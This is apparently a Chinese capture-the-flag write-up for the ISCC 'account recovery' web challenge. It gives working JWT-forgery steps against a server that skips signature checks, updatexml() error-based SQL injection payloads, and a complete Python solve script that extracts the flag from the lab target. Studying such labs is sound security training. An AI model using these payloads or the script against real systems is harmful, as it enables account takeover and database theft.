iscc账号恢复大冒险关键
本文最后更新于51 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

title: “账号恢复”
ctf: “ISCC”
date: 2026-05-16
category: web
difficulty: medium

flag_format: “ISCC{…}”

账号恢复

Summary

题目提示“账号登录不上了,该怎么恢复”,实际考点是恢复流程中的鉴权缺陷和后端 SQL 注入。登录后服务端发放 JWT,但后端没有严格校验 JWT 签名,导致可以篡改 status 字段进入隐藏的 /recovery 恢复页面;随后利用 /api/v1/user/sync 接口中 theme 参数的 SQL 报错注入读取数据库中的 flag。

最终 flag:

ISCC{jwt_downgrade_successful_pwn!}

环境信息

靶机地址:

http://39.105.213.28:5001

服务指纹:

Flask / Werkzeug

解题过程

1. 注册普通账号并观察 JWT

访问首页后发现只有登录和注册功能,没有明显的账号找回入口。先注册一个普通账号并登录,登录成功后返回 JWT。

解码 JWT 后可以看到类似如下字段:

{
  "uid": 1,
  "username": "test",
  "status": "NORMAL",
  "exp": 1770000000
}

其中 status 很可疑,因为题目描述强调“恢复账号”。继续查看前端静态资源时,发现 CSS 中存在 .recovery、临时凭证、验证步骤等样式,说明应用里存在隐藏恢复页面。

直接访问:

/recovery

普通账号会被重定向回控制台,说明该页面依赖 JWT 中的某种恢复状态。

2. 篡改 JWT 进入恢复页面

尝试将 JWT payload 中的:

status=NORMAL

改为:

status=RECOVERY

然后重新拼回 JWT。由于后端没有严格校验签名,篡改后的 token 仍然被接受,可以成功进入 /recovery

进入恢复页面后,页面给出临时账号信息,并提示通过 theme 值进行验证。这里继续跟踪请求,发现恢复页会调用:

POST /api/v1/user/sync

请求体中存在 theme 参数。

3. 发现 theme 参数 SQL 报错注入

theme 传入单引号:

'

接口返回 SQL 报错信息,说明参数被直接拼接进 SQL 语句。

继续使用 MariaDB/MySQL 常见的 updatexml() 报错注入进行数据读取,例如:

' and updatexml(1, concat(0x7e, database(), 0x7e), 1) and '

返回信息中可以得到当前数据库:

jwt_downgrade

枚举表名:

' and updatexml(1, concat(0x7e, (
  select group_concat(table_name)
  from information_schema.tables
  where table_schema=database()
), 0x7e), 1) and '

得到关键表:

users,temp_credentials,flags

枚举 flags 表字段:

' and updatexml(1, concat(0x7e, (
  select group_concat(column_name)
  from information_schema.columns
  where table_schema=database()
  and table_name='flags'
), 0x7e), 1) and '

得到字段:

id,flag

由于 updatexml() 报错回显长度有限,读取 flag 时需要用 substr() 分段读取。

SQL 注入脚本

下面脚本会完成:

  1. 注册/登录普通账号;
  2. 解码 JWT;
  3. status 改成 RECOVERY
  4. 使用伪造 JWT 调用 /api/v1/user/sync
  5. 通过 updatexml() 报错注入分段读取 flags.flag
import argparse
import base64
import json
import random
import re
import string
import time

import requests


def b64url_decode(data: str) -> bytes:
    data += "=" * (-len(data) % 4)
    return base64.urlsafe_b64decode(data.encode())


def b64url_encode(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).decode().rstrip("=")


def forge_recovery_jwt(token: str) -> str:
    header_b64, payload_b64, signature_b64 = token.split(".")
    payload = json.loads(b64url_decode(payload_b64))
    payload["status"] = "RECOVERY"
    payload["exp"] = int(time.time()) + 3600
    new_payload_b64 = b64url_encode(
        json.dumps(payload, separators=(",", ":")).encode()
    )
    return f"{header_b64}.{new_payload_b64}.{signature_b64}"


def randstr(n=8):
    alphabet = string.ascii_lowercase + string.digits
    return "".join(random.choice(alphabet) for _ in range(n))


def get_token(base_url: str, session: requests.Session) -> str:
    username = "ctf_" + randstr()
    password = "Pass12345_" + randstr()

    # 注册(表单 POST)
    session.post(
        f"{base_url}/register",
        data={"username": username, "password": password},
        timeout=8,
    )

    # 登录(表单 POST,JWT 在 cookie 中)
    session.post(
        f"{base_url}/login",
        data={"username": username, "password": password},
        timeout=8,
    )

    token = session.cookies.get("token")
    if not token:
        raise RuntimeError("登录后未在 cookie 中找到 token")
    return token


def extract_error_value(resp_text: str) -> str:
    # updatexml 报错中常见形态:XPATH syntax error: '~data~'
    m = re.search(r"~([^~]+)~", resp_text)
    if m:
        return m.group(1)

    # 部分框架会 JSON 转义或只返回局部错误,这里给一个兜底。
    m = re.search(r"XPATH syntax error:\s*'([^']+)'", resp_text, re.I)
    if m:
        return m.group(1).strip("~")

    return resp_text[:200]


def sqli(base_url: str, token: str, expr: str) -> str:
    payload = f"' and updatexml(1,concat(0x7e,({expr}),0x7e),1) and '"

    # 用新 session,只带 forged cookie(服务器从 cookie 读取 JWT)
    s = requests.Session()
    s.trust_env = False
    s.cookies.set("token", token, domain="", path="/")

    r = s.post(
        f"{base_url}/api/v1/user/sync",
        headers={"Content-Type": "application/json"},
        json={"theme": payload},
        timeout=8,
        allow_redirects=False,
    )
    return extract_error_value(r.text)


def read_flag(base_url: str, token: str) -> str:
    flag = ""
    # updatexml 单次回显较短,16 字符一段更稳。
    step = 16
    for pos in range(1, 200, step):
        expr = f"select substr((select flag from flags limit 1),{pos},{step})"
        chunk = sqli(base_url, token, expr)
        if not chunk:
            break
        flag += chunk
        print(f"[+] chunk @{pos}: {chunk}")
        if "}" in flag:
            break
    return flag


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--url", default="http://39.105.213.28:5001")
    parser.add_argument("--proxy", default=None, help="例如 http://127.0.0.1:7890")
    args = parser.parse_args()

    base_url = args.url.rstrip("/")
    session = requests.Session()
    session.trust_env = False

    if args.proxy:
        session.proxies.update({"http": args.proxy, "https": args.proxy})

    token = get_token(base_url, session)
    print("[+] normal jwt:", token)

    forged = forge_recovery_jwt(token)
    print("[+] forged recovery jwt:", forged)

    db = sqli(base_url, forged, "select database()")
    print("[+] database:", db)

    tables = sqli(
        base_url,
        forged,
        "select group_concat(table_name) "
        "from information_schema.tables "
        "where table_schema=database()",
    )
    print("[+] tables:", tables)

    flag = read_flag(base_url, forged)
    print("[+] flag:", flag)


if __name__ == "__main__":
    main()

运行示例:

python solve.py --url http://39.105.213.28:5001 --proxy http://127.0.0.1:7890

输出:

[+] database: jwt_downgrade
[+] tables: users,temp_credentials,flags
[+] chunk @1: ISCC{jwt_downg
[+] chunk @17: rade_successful
[+] chunk @33: _pwn!}
[+] flag: ISCC{jwt_downgrade_successful_pwn!}

Flag

ISCC{jwt_downgrade_successful_pwn!}
文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇